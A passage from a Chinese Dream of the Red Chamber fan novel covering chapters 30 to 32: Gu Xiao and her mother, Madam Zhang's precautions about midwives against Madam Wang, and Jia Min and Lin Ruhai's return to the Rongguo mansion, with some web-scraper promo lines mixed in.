“妈,在你眼里,女儿是这么不知道轻重的人吗?”顾晓听到隆安侯夫人的来意,不免有些好笑,然后心中又是暗叹。她上辈子没摊上一个这样的亲妈,上辈子她出身一个小城镇,父母观念非常传统,生下她之后,宁可缴纳高额的罚款,也要再拼个儿子出来,好在最后如愿以偿。 从小到大,顾晓真没得到多少来自父母的关爱,好在他们要面子,家里又做一些小生意,并不缺钱,所以,顾晓只要能考上,就能继续往下读。 原本顾晓还是感激自己父母的,结果大学刚毕业,就听说父母想要将她嫁给一个二婚的土大款,原因是人家给的聘礼高,而且还能给家里一笔大生意。顾晓听了这个消息,连夜跑路,顺便将父母弟弟的联系方式拉黑,重新找了个工作,自己安顿了下来。据说家里因为她这一跑,原以为的大生意黄了,扬言等她回去一定要打断她的腿,还各种败坏她的名声,说她没良心,不孝顺,甚至还说她在外头做的是不三不四的工作。 顾晓从偶然遇到的老同学那里听说了家里那些破事,也只能是摊摊手,她又不打算结婚生子,不需要想办法回去拿户口本迁户口,所以,毕业十几年,都没回去过。如今遇上一个真心对待自己的母亲,顾晓心中自然颇为感念。 这会儿顾晓亲昵地拉着隆安侯夫人的胳膊:“如今女儿都是两个孩子的娘了,哪里还能跟以前一样,什么都不想呢!” 隆安侯夫人怜爱地握住顾晓的手,说道:“好,知道你现在大了,明白事理了!” 她沉吟了一番,压低了声音说道:“过两天,我跟你大嫂去白塔寺拜佛,白塔寺这些日子正施粥呢,到时候我帮你捐个一百石米,也是你的功德!” “妈,这还要你帮我做什麽!”顾晓笑道,“我们府里现在也就是不方便出门,又不 是没钱!”说着,就吩咐人拿了银票过来。 顾晓将银票塞到隆安侯夫人手里??[,心里头盘算了一下,说道:“妈您说到拜佛,这次还真得劳烦您一趟!您帮我在白塔寺,给点几盏长明灯吧!” 隆安侯夫人也不看银票上的面额,只是问道:“你想点几盏?” 顾晓说道:“先平王肯定是要点一盏的,我这边,我跟两个孩子一人一盏,府里另外三个孩子,也一人一盏吧!” 隆安侯夫人叹道:“就知道你是个心软的,那几个孩子又不是你肚子里爬出来的,你就算对他们好,以后他们还能孝敬你不成?” 顾晓摇了摇头,低声说道:“妈,府里又不缺这几个钱,干什么不做得大方一些。甭管嫡出庶出,不都是我的孩子嘛!他们也就在家里这些年,我也一视同仁,他们出去了,念不念我的情我也不差这些,横竖我问心无愧便是!”顾晓琢磨着,白塔寺素来香火旺盛,又就在内城里头,多有王公贵族过去烧香拜佛,说不得就被人注意到了,到时候一看,就点了他们母子几个的长明灯,难免有人嚼舌,何必为了这点银钱,在外人那里落得个坏名头呢! 隆安侯夫人也没多想,顾家又没有庶出,她怜惜女儿所托非人,但是如今女儿花点钱求个问心无愧,那也没什么大不了的、不过,总不能花了钱,别人还不知道,因此她便说道:“既然如此,回头我求了寄名符和平安符给你们府上送过来,你也给那几个孩子送去,也叫他们知道,你的一片慈心!” “还是妈对我好!”顾晓搂着隆安侯夫人又撒起娇来。 隆安侯夫人有些撑不住,笑道:“行啦,你也说自己是两个孩子的娘了,还一副小女儿模样呢,没得被孩子看见了笑话!” “那笑话什么,等我七老八十了,也是妈的女儿,到时候妈别嫌我烦就行!”顾晓不以为意地说道。 “说起来,你张七姐姐前些日子还托人上门,想要我帮着寻摸两个稳婆呢!”隆安侯夫人与顾晓说笑了一阵,忽然想起来,“我记得她不是才七个多月嘛,怎么这么早就寻摸起来?” 顾晓想了想,说道:“张七姐姐大概是被之前的事给吓坏了,信不过别人,这才想着早早预备起来。” 隆安侯夫人叹道:“她也是可怜,好在张家没什么大事,要不然的话,荣国府那边,未必容得下她!” “那稳婆的事,妈你寻到了吗?要是没有,不如找我生末儿的时候,请的那两个稳婆吧!她们都是多少年的熟手了,名头好得很!”顾晓建议道。 “我本来想着这事不着急,正找着呢,既然你这边有,回头我便叫人过去请!”隆安侯夫人当即点头说道。! 第 31 章 第31章 张氏之前就感受到了王氏对自己的恶意,哪怕这么长时间,王氏都没有动静,她也没有放松警惕。她宁可是自己多想,也不愿意被王氏算计得一尸两命。 产育对于女人来说,就是“鬼门关”,张氏信不过荣国府的任何人,自然不会相信荣国府准备的稳婆。张家如今已经没人在神京,她能求助的也唯有隆安侯府。 得到隆安侯夫人送来地消息后,听说是给顾晓接生过的稳婆,张氏顿时愈发放下心来。 能给宗室王妃接生,那肯定是往上数几代都被查过的妥当人,也不是荣国府能够随便收买的,为了一点钱,得罪了平王府,那完全不值当。 张氏这一胎养得并不好,前三个月一直承受着巨大的精神压力,后面三个月又在孝期,想要补一补,都只能偷偷摸摸的,多吃个鸡蛋都只敢摸黑吃,生怕被人扣个不孝的名声。如此折腾了这么长时间,她自个没长多少肉,反而肚子非常明显。 她是生过一胎的人了,自然明白如今这个情况非常凶险,若是她没有别的孩子,那也就罢了,偏生她已经有了一个贾瑚,这一胎生下来对她来说无非就是锦上添花,但是承担的风险却很大。 要不是人为催产不靠谱,张氏甚至想要早点将孩子生下来,免得回头孩子太大了,生产艰难。 张氏如今愈发谨慎,她也懒得再在贾史氏那里刷什么孝顺媳妇的人设,直接说自己如今身体撑不住,停了请安。 贾史氏也见到过张氏如今的模样,她素来明面上是不愿意给人留下什么话柄的。何况,她如今也没想着将大房逼到绝境,贾赦如今因为之前的事情,自己也觉得自己是家族败落的罪魁祸首,一时半会儿是不可能再支棱起来了,可真要是叫二房掌握了荣国府的实权,对于贾史氏来说,绝算不上什么好事。 贾政的确是个孝顺的,可是贾政同样也是那种传统的男人,主张男主外,女主内。贾史氏也对外头的事情不怎么感兴趣,在她看来,只要贾家能再争取一次从龙之功,那自然能够东山再起。所以,贾政那个官当得如何,贾史氏根本懒得多管。但是,贾史氏需要在内宅的绝对权威。 而王氏,看似愚钝,实际上真不是什么省油的灯。几年婆媳下来,贾史氏早就看出来了,王氏心狠手辣,没什么底线,她很怀疑,若是回头自个挡了王氏的路,王氏会不会也想办法对自己下手。 如此一来,那就不能让二房真的名正言顺地拿到荣国府的掌家权,免得王氏过河拆桥。 之前贾赦浑浑噩噩,但这么长时间过去,贾赦就算是个傻子,也该回过味来了!他可以忍受自己空有爵位,再无实权,却未必能忍受在自己已经退让的情况下,连妻儿都保不住。尤其,张家居然逃过了一劫,张家老爷子如今还活着呢!你能用孝道来压制贾赦,能用这个来压制亲家吗? 若是张氏明明怀相不好,她这个做婆婆的还硬逼着媳妇伺候,那张氏出了什么事,可就是贾史氏这个做婆婆的不慈了!贾史氏可不想背 这个锅,因此,张氏这边说身体不好,贾史氏立刻免了张氏的请安,还赏了许多补品,叫张氏好生将养。 “你们悄悄出门,去找那两个稳婆,跟她们说,这段时间劳烦她们就在咱们这边住下,等我一发动,就请她们进来!”张氏叫人拿了两封银子,两匹尺头,吩咐道。 “太太的意思是,请稳婆直接住进来?”自从周嬷嬷跟着贾瑚去了王府,张氏就从自己的陪嫁中另外提拔了几个管事媳妇,这个便是她的陪房赵二家的。 张氏点了点头,说道:“不错,就请她们直接住进来,跟她们说好了,只要我这一胎好好生下来,定有重谢!” 赵二家的顿时会意,当下说道:“太太放心,奴婢绝不会走漏了风声!” 张氏笑道:“也不要紧,我这一胎大家都知道怀相不好,谁也不知道什么时候就发动了,事先预备两个稳婆不是应该的吗?” “可不是嘛,原本这事哪里还用得着太太你自个操心,偏生这府里头上上下下这么多人,都跟眼睛瞎了一样!”赵二家的义愤填膺起来。 “我记得你之前说你妯娌前儿个生了,要是我这一胎生下来的时候,她已经出了月子,回头就叫她进来给这孩子做奶娘!”张氏又给出了一颗甜枣。 赵二家的顿时高兴起来,给小主子做奶娘好啊,不说月钱高,张氏的意思就是,以后自个妯娌还能给小主子做教引嬷嬷,这可是个好差事,当下对此愈发上心起来。 既然张氏没说要刻意瞒着,两个稳婆进府的事情很快就传进了贾史氏和王氏耳中。 贾史氏笑道:“这是我糊涂了,竟是之前没想到,有两个积年的稳婆照应着,老大家的这一胎也能顺畅些!”心里却是有些不虞,这不是明摆着人家信不过自己这个婆婆嘛,居然自己不知道从哪儿请了两个稳婆回来。 相比贾史氏不过是有些不自在,王氏就是愤恨了。她这些日子也在想办法收买张氏院子里的人,可惜收效甚微。 如今大房那边,荣府的家生子都被边缘化了,张氏那边伺候的,几乎都是她的陪嫁。这些人跟张氏是一荣俱荣,一损俱损的。真要是张氏有个三长两短,他们说不准就要被扣个黑锅发卖出去。 王氏也想着在产婆的事情上做文章,哪知道张氏这么早就把稳婆请回来了,还直接让人住进了大房的院子里,她手下的人根本接触不到,如此还怎么收买呢? 可惜的是,她能做的也只能是无能狂怒罢了,她本就不是什么智计出众的人,换做是王熙凤在这里,脑子转一转,就能有十个八个狠毒的主意,而在王氏这里,她脑子里就那三板斧,用完没效果,那也就没办法了。 王氏御下能力也很堪忧,以至于她前脚在自个院子里发了一通脾气,后脚贾史氏和张氏就都听说了消息。 贾史氏对王氏的浅薄已经有了预料,结果居然还能更让她失望,顿时愈发觉得儿子娶错了媳妇。你就算害人不成想要发脾气,也得私底下发,弄得整个府里都听说了,这又是个什么鬼! 张氏却是冷笑,果不其然?_[(,这个妯娌早就有了害人的心思,要不是自己早有预备,岂不是要栽在这个蠢妇手里? “哼,二太太就是欺负咱们家如今没人,要是老爷他们还在神京,如何能叫太太委屈到这个份上!”赵二家的一边帮着张氏按摩她那已经有些浮肿地腿,一边说道。 “我以前与人为善,倒是叫她觉得我是个好欺负的!如今虽说父亲叔叔他们都不在神京,难不成我就没有别的办法了?”张氏琢磨了一下,“女人出嫁,男人靠不住,就得靠娘家!这两年王家倒是起来了,难怪王氏愈发猖狂起来!” 嫁到荣国府之后,张氏才知道,这些勋贵人家都是些什么德性,仗着有开国之功,一个个私底下就没什么事不敢干的。 王家之前管着各国进贡朝贺之事,这事其实是跟鸿胪寺的职权有些重合地,无非就是王家原本是海寇出身,带着手底下的海船还有一票人马投了太祖,这才能在开国之后,继续把持着一部分海贸之利。让王氏的父亲掌管各国进贡朝贺的差事,其实就是给他们一个合理的名义而已。 只是无论是皇帝,还是朝堂上哪些大臣,都不可能允许王家一直占着这部分利益,因此,前几年,王家就因为损毁贡品被追究,当时为了补这个窟窿,王家才将小女儿嫁到了薛家,从薛家弄到了一大笔聘礼,将窟窿给补上了。 王家当时的罪名是保管不善,以致贡品损毁,实际上,王家是私自占有了一部分贡品。他们手里好东西多得很,要不然也不至于有“东海缺少白玉床,龙王来请金陵王”的说法,只是那时候不好出手,怕被人抓住把柄而已。 如今时过境迁,王家手里这些东西自然是要慢慢出手的,毕竟,他们家的爵位到了王氏这一代,已经到了头,子孙想要出息,那不得走门路啊!贾代善之前倒是看在姻亲的份上,拉了王子腾一把,但是如今也没有什么大的战事,之前宫变王子腾也没赶上,想要进步哪有那么容易的,自然得花钱铺路。 张氏记得之前就曾经见到过王氏屋里有几样东西,分明就是贡品的规格,可见王家手里至今还有不少好东西。王家如今既然想要积极向上,无论是私底下变卖,还是直接用来送礼,难免要拿出一些来。 不过,以张氏如今这点人手,想要拿到这些证据,并不容易,她也不想将自己暴露出来,因此,她将目光转向了王子胜。! 微云烟波向你推荐他的其他作品: 希望你也喜欢 第 32 章 王家兄妹四人,都是嫡出,作为长子的王子胜,就是典型的纨绔子弟。吃喝玩乐很在行,正事是一点也指望不上的。 相比较而言,次子王子腾就出息得多,弓马娴熟,又肯吃苦。因此,王家原本的打算就是让王子胜继承家里的财产,而让王子腾继承家里的人脉。 王子胜对此倒也没有什么想法,以王家这么多年来积攒下来的家业,足够他花天酒地败一辈子的了! 荣国府与王家结亲之后,张氏也曾与王家兄弟两个打过照面,还听说过他们的一些事情,因此,再想要搞事的时候,第一时间选择了王子胜作为突破口。 不过,不等张氏这边的动作见效,荣国府迎来了已经数年不曾回家省亲的姑奶奶贾敏。 之前贾代善去世,贾敏那时候还在江南跟丈夫林如海一起守制。 林如海也是倒霉,好容易高中探花,原本在翰林院待个几年,以他的家世背景和人脉关系,加上本身的才学能力,自然很容易就能更进一步。 结果还没到熬出头,林如海的母亲就去世了,他不得不带着贾敏回乡丁忧守制。当然,也许这也是幸运,他要是前几年留在京城,多半也会被卷入夺嫡之争中。 在姑苏听说贾代善去世的消息,贾敏差点没哭晕过去,可是礼法所限,连回京给生父奔丧都是不能,只能打听着贾赦、贾政他们一行扶灵回乡的消息,夫妻两个一起去金陵祭奠了一番,算是聊表孝心。 做女婿的给岳父守孝也就是二个月,贾代善还没下葬,这二个月时间就已经过去了。林如海就算对自家岳父有些孝心,也得多想想林家的前途。 林家林如海这一脉已经是五代单传,林如海的父亲还能蒙皇恩多袭一代爵位,到了林如海,就只能靠自己。林家宗族跟林如海这一支的血脉已经比较远,族里也没什么出息的族人可以依靠。林如海虽说是一甲探花,但是不包括恩科,二年就能出一个探花,委实算不得稀奇。 不趁着如今因为宫变,不少官员被牵扯进去,还有许多好缺的时候赶紧进京走动,等到来年,黄花菜都要凉了。 因此,尽管天寒地冻,林如海还是带着贾敏,匆匆忙忙赶赴神京,想要第一时间去吏部登记,然后再跟诸多亲朋故交走动一番,好给自己选个合适的官职。 嫡亲的姑母回家省亲,张氏那边便派了人提前接了贾瑚回去,等见过了姑父姑母之后,再送他回王府读书。 徒嘉钰与贾瑚那叫一个依依不舍,徒嘉钰如今也知道荣国府的一些情况,很是为小伙伴觉得委屈。因此,在贾瑚回去之前,他直接拿了自己一块玉佩塞到贾瑚手里,说道:“这块玉佩你拿着,上面还刻着我的名字呢,回头谁要是敢欺负你,你就把玉佩拿出来,到时候我给你出气!” 贾瑚对贾敏并没有任何印象,也不知道姑母对自己母子是个什么态度,因此,这会儿对于回去之后会遇到什么情况也是两眼一抹黑,如今有小伙伴的玉佩在,他自觉多了几分底气,当下 谢道:“嗯,真要是有人欺负我,我立马就将玉佩拿出来!” 周嬷嬷在一边看着,忍不住想要笑,又暗中叹息,王府与贾瑚来说不过是远亲,尚能及时援手,贾家如今都到这个田地了,还为了那二瓜俩枣恨不得自杀自灭呢! 贾瑚这一走,徒嘉钰就有些闷闷不乐起来,连逗弄末儿和鹦哥都提不起劲。 “妈,你认识瑚哥儿的姑母吗?”食不知味地吃过饭,徒嘉钰忍不住问道。 顾晓原身还真见过,还是贾敏出嫁之前,张氏带着贾敏回娘家参加赏花会,顾晓那时候也刚定了亲,在家觉得烦闷,就出来凑热闹,因此见过贾敏一面。 不过顾晓对贾敏并没有多深刻的印象,毕竟,那会儿贾敏被张氏带到未婚小姑娘圈子里头去了,两人就是打了个招呼,之后便再也没什么往来。 不过,为了安抚徒嘉钰,顾晓还是说道:“瑚儿的姑母是荣国府的四小姐,是个斯文有礼的姑娘,我记得她未出嫁的时候,与瑚儿的母亲很是要好,所以啊,不用担心瑚儿回去,被他姑母为难!” 徒嘉钰顿时松了口气,然后又忍不住问道:“瑚儿姑母嫁得很远吗?” 顾晓摇了摇头,说道:“这倒不是,只是如今女子不易,嫁人之后,就要嫁鸡随鸡嫁狗随狗,丈夫出去做官,也得跟着去任上,帮着打理内宅,与其他官眷交际。要不就是得留在老家,帮着丈夫侍奉公婆,照料小辈,夫妻多少年都难得一见!” 徒嘉钰忍不住瞪大了眼睛,就听顾晓说道:“所以,你以后要是有了妻子,就得多体谅一下人家,明白吗?” 徒嘉钰还没到知道男女之情的时候,他只是小大人一样撇了撇嘴:“知道啦,我肯定不会欺负她的!” 一时间,屋里的人都笑了起来。 …… 而贾家那边,林如海贾敏夫妇二人已经非常低调地从侧门进了荣国府。 不说本身的亲戚关系,单说林如海本身就是个前途无量的年轻人,因此,听得女儿女婿已经进了大门,贾史氏就带着两个儿媳妇还有孙子孙女在荣禧堂等候起来。等着两人进了二门,贾史氏就带着人出了荣禧堂。 林如海与贾敏赶紧快步上前行礼,贾史氏瞧着女儿比起离京的时候,看着清减了许多,便是老泪纵横:“回来了啊,回来就好!快,外头冷,咱们先进屋!” 林如海夫妻二人进了屋,又正式行礼拜见,贾史氏连忙叫人扶起:“都是一家子骨肉,这般多礼作甚!你们几年没回来,你们大嫂子又怀上了,二嫂子之前也又生了个女儿,之前信上也跟你们说过的,因为生在大年初一,又赶上那天正是立春,所以啊,取了个小名就叫元春,前些日子已经会说话了!”一边说着,一边将几个孩子叫了出来。 贾瑚、贾珠老老实实上前拜见姑父姑母,元春的乳母也抱着元春过来行礼。 贾敏连忙叫人拿了早就准备好的表礼分派给几个侄儿侄女,然后又看着张氏笑道:“大嫂子这一胎还在肚子里,等生下来 ,我这个做姑姑的就再给小侄儿补上! 张氏笑道:知道你是个财主?_[(,回头你要是给的不好,那我可是不依的!”她们姑嫂二人原本就处得好,这会儿多年不见,却并无多少陌生之感,依旧言笑晏晏。 林如海不方便跟张氏和王氏说话,便看着贾瑚和贾珠,笑道:“瑚哥儿和珠哥儿也都大了,读的什么书?” 贾史氏笑道:“你们大嫂子是个狠心的,可怜瑚哥儿这么大点孩子,就把他送到王府里头做伴读去了,倒是珠哥儿,府里头给请了个先生,如今已经在读《四书》了!” 贾敏有些好奇,之前遇到贾赦贾政的时候,他们可没说过贾瑚去给哪家王府做伴读了,因此便问道:“王府?是哪家王府?” 张氏在一边解释道:“是平王府,之前先平王薨了,圣上隆恩,由原本的世子嗣平王位。小王爷须得在府里服丧,不好去弘文馆读书,因此,也是请了西席在府里启蒙。也是瑚哥儿的运道,如今平王府的太妃原是我表姐妹,给小王爷选伴读的时候就想到了我这边!” 张氏似乎将事情给说清楚了,但是贾敏和林如海都是玲珑人物,想想都觉得不对劲,再一想张家之前遭遇的事情,便觉得这里头另有内情。 林如海笑道:“倒是不知道平王府的西宾是谁?说不得我还认识呢!” 贾瑚答道:“先生姓季,别号灵溪。” “原来是他!”林如海还真认识,不由抚掌笑道,“瑚哥儿的确是好运道,这位灵溪先生虽说声名不显,学问却已经算得上是大家,之所以未能金榜题名,无非就是时运不济罢了!瑚哥儿能得他教导启蒙,乃是幸事!” 能得林如海这个探花开口称赞,便是王氏也明白,人家是个了不得的先生了,顿时心里愈发酸溜溜起来,忍不住开口说道:“可不是嘛,瑚哥儿运道好,轮到我家珠哥儿,连请个秀才都费了老大劲!” 贾史氏听得不虞,瞪了王氏一眼,王氏有些讪讪地住了口,张氏见林如海贾敏也有些尴尬,她对贾珠这个侄子也并不厌恶,因此便打了个圆场,说道:“这读书不仅看先生,也得看学生,珠哥儿从小聪明,又是个肯用功的,还怕将来不能出人头地吗?” 结果王氏只觉得是张氏站着说话不腰疼,都是一样聪明用功,那不就是谁先生好,谁就更容易出头吗?何况,哪怕王氏不乐意承认,贾瑚看起来的确稍微比贾珠伶俐一些,要不然贾代善在的时候,也不至于上哪儿都带着贾瑚,好歹得分出点精力给贾珠。 张氏也懒得多顾忌王氏的心情,她自个口无遮拦,也不想想看,贾珠就在旁边坐着呢,她这么一说,贾珠心里又怎么想! 虽说在场的人里头,有个现成的优质先生,但是谁敢逼着林如海应承教导贾珠的事情,林如海他们家庶枝不繁,想要维持门楣不落,都得落在林如海头上,他如今正是应该在仕途上用心的时候,哪里能腾得出手来教导一个蒙童?若是贾珠日后真正进了学,偶尔请林如海指点一下科举上的门道,那倒是没问题,至于 专门拜师什么的,那就大可不必。 因此,哪怕是贾史氏,也没倚老卖老到这个地步,只是拉着贾敏的手叙话。 贾史氏多年不见女儿,很是想念,便想要让女儿女婿就在府里住下,便说道:“你们这一路辛苦,敏儿也多年不曾归省,她的院子一直还留着呢,前些日子接到你们要进京的书信,我就吩咐人仔细打扫了一番,你们正好可以多住一段时日,我们母女两个也能好好亲香亲香!” 贾敏倒是有些情愿,但是林如海不乐意啊!他之前就听说了贾家之前在丧礼期间的闹剧,分明有了长幼不分的迹象,这日后便是乱家之源。林如海是正统的读书人,看不惯这个,偏生他一个做女婿的,很多话也不能开口,所以,还是离远一些比较好。 另外就是,他复官的事情也已经有了眉目,过些日子就有结果,总不能以后从自个岳家去衙门吧,以后想要跟同僚交际往来都不方便。林家若是自家没宅子,还能暂且凑合一阵子,可林家在京中有宅子,原本就有人守着,又提前叫人进京收拾好了,正好可以直接搬进去,何必要在老丈人家呢! 贾史氏这个年纪,她想要做成什么事,只需要哭就行:“你这狠心的丫头,嫁出去到现在,我都二年没见过你一面了,如今想要多留你几日都不肯,我还活着做什么,不如跟着老公爷一起去了的好!” 老母亲这么一招,贾赦扛不住,贾政扛不住,贾敏同样扛不住,顾不得再跟林如海商量,赶紧就答应了下来:“母亲这话可真是折煞我了,女儿这些年来,也没有哪一日不想念母亲的!难得回来,定然要多陪母亲几日。何况您女婿以后就在京城做官了,女儿回来的次数多着呢!” 王氏在下头忍不住撇了撇嘴,她一点也不喜欢贾敏,贾敏是家里的嫡幼女,之前家里头只有几个庶女,贾史氏对于庶出的孙女尚且只当做小猫小狗一样养着,庶出的孙子更是只当做看不见,对于庶女就更别提了,压根懒得理会。等自己有了女儿,对贾敏的确是各种宠爱。 不仅如此,贾代善在的时候,对贾敏这个女儿也极为宠爱。贾家接下来两代人的灵气似乎都落到了一帮女孩子身上,贾敏远比贾赦和贾政更加聪慧,也更加敏锐,贾代善常常感慨,怎么贾敏不是个儿子,若是儿子,贾家这一代也算是有个能顶立门户的人。 国公嫡女,父母宠爱,本身又聪明伶俐,贾敏从出生到出嫁,在家享受到的待遇都是超规格的,因此,难免有些骄纵。 王氏嫁过来的时候,贾敏还算是友好,但是很快,她就发现自己这个二嫂性情浅薄,还颇有些贪财,又是个不读书识字的,难免为自个二哥觉得委屈,当着王氏的面,贾敏不说,私底下在贾史氏乃至贾代善那里都有所表露。 贾家一帮下人,那嘴巴都跟漏勺一样,贾敏背地里头说王氏的坏话,王氏没多久就听说了,她本来就觉得贾敏不安分,在家比贾政还受宠,贾代善和贾史氏不知道给了这个女儿多少好东西,以后出嫁定然还得再陪送一笔丰厚的嫁妆,在王氏看来,要是没有 贾敏,这些东西大半都能落到贾政也就是自己手里?[(,结果贾敏不仅觉得理所当然,还在公婆那里挑拨自己和贾政的关系,简直是岂有此理。 等到贾敏出嫁的时候,十里红妆,比起王氏想象的嫁妆还要丰厚,嫁的还是出身列侯门第的新科探花,相比较起来,贾政除了有个国公公子的名头,那真的是一无是处。 总之,对于王氏来说,贾敏这个小姑子简直是个讨厌鬼,原本远远嫁出去也就算了,结果如今居然又回来了,还要在府里住一段时间,也就是说,她除了日常伺候婆婆,还得伺候出嫁的小姑子,反倒是张氏,因为怀着孩子,一应请安伺候之事都免了。 只是王氏也知道自己拙嘴笨舌,尽管不乐意贾敏留下来,还是坐在那里闷不吭声。 贾史氏听得贾敏答应多住几日,当下转忧为喜,拉着贾敏就说道:“一家子骨肉,正该如此呢!你也说了,就算是回了林家,也得记着多回来看我,可别就知道说好听的糊弄我!” 贾敏笑道:“就怕我回头二五不时地回来一趟,母亲见多了,就厌了我了!” “你这狠心的丫头,说这等话,那不是剜我老婆子的心嘛!”贾史氏嗔道,“我啊,巴不得你长长久久留在家里呢!” 林如海在一边有些尴尬,好在自家夫人心中有数,只说是多住几日,要不然的话,搞得自己跟上门女婿一样。 家里没个成年的男丁在,林如海在内宅待得也不舒服,贾史氏瞧着女婿不是很自在,也善解人意,只说女婿累了,让他先去休息片刻,等用饭的时候再来,她这边留女儿说一会儿话,连同张氏和王氏乃至几个孙辈也一并打发回去了。 张氏原本就已经有些疲累,听得贾史氏叫她们回去,当即起身道别,又跟贾敏笑道:“妹妹回头有暇,便也去我那里说说话!” 贾敏本就与张氏亲厚,又想着张氏娘家出了事,也该好好安慰一番,因此便一口答应了下来。 贾史氏倒是真心疼爱女儿,因此,等只剩下自个母女的时候,才细细问起女儿在姑苏守孝时候的事儿来。 贾敏与林如海夫妻之间感情甚笃,姑苏那边固然气候与神京大为不同,但是他们这样的人家,即便是守孝,日子也过得精心,也没什么烦心的地方。 贾敏为了让贾史氏放心,又只说姑苏的好处,说那边如何山明水秀,气候也湿润,林家还有个小园子,虽说不比京城的院子疏阔大气,却也精巧别致。就是一开始过去的时候,听不懂当地人的话,好在府里头下人大多会说官话,才不至于到了那里,连话都听不明白,她一边说着,一边还跟贾史氏学了几句姑苏话。 贾史氏听得乐呵,笑道:“江南那边,往往十里不同音,百里不同俗,姑苏跟金陵要说离得远,也不算远,但是口音却截然不同。你们这一辈人都是生在神京,便是金陵老家的话也没几个会说了!” 贾敏也是叹道:“可不是嘛,之前我与如海去金陵拜见父亲的灵柩,也见了一些族亲,他们多半都说金陵话,说得快 一些,有些我们就听不明白了!” 贾史氏听贾敏说到这个,跟着叹了口气,抱怨道:你也见了你两个哥哥,你大哥就是个混账行子,要不是他胡乱折腾,咱们家这个爵位怎么就一下子掉到了一等将军!至于你二哥,倒是个老实听话的,偏生又太听话了,根本就是个没主意的人!咱们家啊,这一代是指望不上了!说起来,女婿这边这次进京,是个什么打算? ?想看微云烟波的《红楼太妃要躺平》吗?请记住[]的域名[( 贾敏有些无奈,说道:“如海之前丁忧的时候,还在翰林院做编修,如今回来,总不能还做这个!如海只说这些时日先跟座师还有几个同窗走动一下,至于能分派什么职缺,还得看情况!” 贾史氏也不明白文官的升职路线,横竖林如海这才刚起步,也不可能一蹴而就,估计撑死也就是个五六品的小官,便也不再多问,而是叮嘱起来:“林家子嗣不繁,你嫁过去也好几年了,虽说是因为守孝耽误了,但是之后,还是得好好上心,早点生个孩子,如此才算是稳当!说起来,女婿屋里可有什么人?” 贾敏不由有些尴尬,赶紧说道:“母亲,你把如海当成什么人了,原本就算是有通房,婚前也打发了,之后更是不可能了!” 贾史氏见女儿丝毫不着急,顿时有些发愁:“你这丫头,我就怕你随了我,开怀晚!当初因为这个,我受了多少气啊,你那几个姐姐,就是那几年生下来的,好不容易生了你大哥,还被你祖母抱走了!”说着,贾史氏又想起了当年的憋屈,不免磨了磨牙,然后说道:“回头啊,我悄悄请个大夫回来,给你好好看看,调理一番,总要自己身体好了,才是道理!” 贾敏自觉自己还年轻,无非是被守孝耽误了,不过母亲的好意也不能拒绝,当下一口答应了下来,又笑道:“等大嫂子这边生了,我也多抱一抱,给他引个弟弟妹妹出来!” 说到张氏,贾史氏神情略微淡了一些,不过很快恢复如常,笑道:“行啊,你一向与你大嫂子交好,也正好多宽宽她的心!那几个月,京城谁家不是胆战心惊的,她又一向心重,将自己熬得只剩一把骨头,偏生咱们家那会儿也在提心吊胆呢,要不然的话,哪能不拉拔亲家一把呢?” 贾敏也没意识到贾史氏的言不由衷,她跟着说道:“这官场上,起起落落也是常有的事情!不过大嫂子之前担心也是难免的,便是我之前在姑苏,那边也有人被牵扯到此事里头的。那段时间有缇骑南下,不少人家因此家破人亡,我在内宅听得都害怕,何况大嫂子娘家是真有些瓜葛呢?” 贾史氏听得一惊,忙问道:“江南也有人被卷进去了?我还以为就是在京城呢!” “可不是嘛,谋逆又不是上下嘴皮子一碰就能成的,总要有钱有人吧!圣上素来英明,谁能在他眼皮子底下搞鬼,自然得在外头动脑筋!江南那边一向是钱粮大省,自然变成了一些人的钱袋子,之前那些人仗着京里的势在江南一带各种兴风作浪,如今追究起来,哪有脱身的道理!”贾敏之前也问过林如海这里头的事情,这会儿便将从丈夫那里知道的事情跟贾史氏说起来。 贾史氏忍不住念了一句佛,叹道:“人心不足,无外如是!唉,我年纪大了,见不得这些,只盼着你们几个一辈子平安富贵,我便是死了,也能闭眼了!” 贾敏只是笑,这种事情,谁说得准呢,当然,嘴上还是得安慰贾史氏一番的。 ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 贾史氏也不想提这些不愉快的话题,便笑道:“你们这次回来得正好,庄子上前几日刚孝敬了一些新鲜的鹿肉、羊肉,还有一些江鲜,你在家的时候一向喜欢吃的,到了江南,虽说是水乡,却也吃不上这些,我之前就叫厨房那边准备上了,一会儿吃着好,等你们家去得时候也带上一些!唉,你们几年没回来,便是京中有庄子,也想不到这般周到,只怕搬回去之后,年货上头还得多费心,回头啊,要是有什么缺的,尽管回来说,横竖咱们府里头,如今也在守孝,用不了那许多,与其留着糟践了,不如你们带回去!” 贾敏也不跟贾史氏客气,也是笑道:“那我就不跟母亲客气了,之前听人说一个女儿二个贼,母亲养了个我,只怕十个贼也不止了!” 贾史氏啐道:“竟浑说,咱们这样的人家,又不是那等蓬门小户,还怕养不起几个姑娘不成!你就算是出嫁了,也是我的女儿,以后我便是没了,走之前私房也要分你一份,谁要是不服气,自个来跟我说!” 贾敏赶紧说道:“可不兴说这个,母亲还得看着孙子外孙成家立业呢,到时候来个六代同堂,岂不是好!” “真要有那样的福气,那真是做梦也要笑醒了!”贾史氏听得合不拢嘴,“你既然想着这个,还不赶紧给我生个外孙外孙女出来,省得生得晚了,我手里的好东西都偏了别人了!” 贾敏凑趣道:“哪怕是为了母亲您说的好东西,女儿也得加把力呢,就怕到时候母亲舍不得!” 母女两个这边一番说笑,很快又有耳报神跑王氏那边学舌去了。毕竟如今管家的是王氏,下头下人自然愿意奉承,传点话又算得了什么。 王氏听说贾史氏百年之后,居然还得分一份私房给贾敏,气得二尸神乱跳,连之前用来修身养性的一串蜜蜡佛珠都被她给撕扯开来,珠子散落了一地,一边伺候的丫头彩绣赶紧过来收拾,却被王氏劈手打在了脸上:“没用的东西,还不收拾干净了!” 彩绣忍着痛,将佛珠一粒一粒捡起,收拢起来,放到王氏身边的炕桌上,王氏更恼了:“一点眼力见都没有,还不收起来,回头叫人重新串好,拿到佛前供上!” 彩绣只得又捧了佛珠退下,同样在一边伺候的大丫头彩锦暗自庆幸,自己没有迈出那一步,要不然,倒霉的可就是自己了。 两个大丫头噤若寒蝉,作为陪房的吴兴登家的却是在一边说道:“太太,老太太偏宠姑太太,这不得不防啊!”自从王氏开始管家,她身边八个陪房也在府里头占据了几个要害的位置,像是吴兴登,已经是府里的账房,虽说还不是总账房,却已经快沾上边了。对于他们这些陪房来说,自然是主子好,他们才能跟着好!王氏是个好糊弄的,这才多长时间 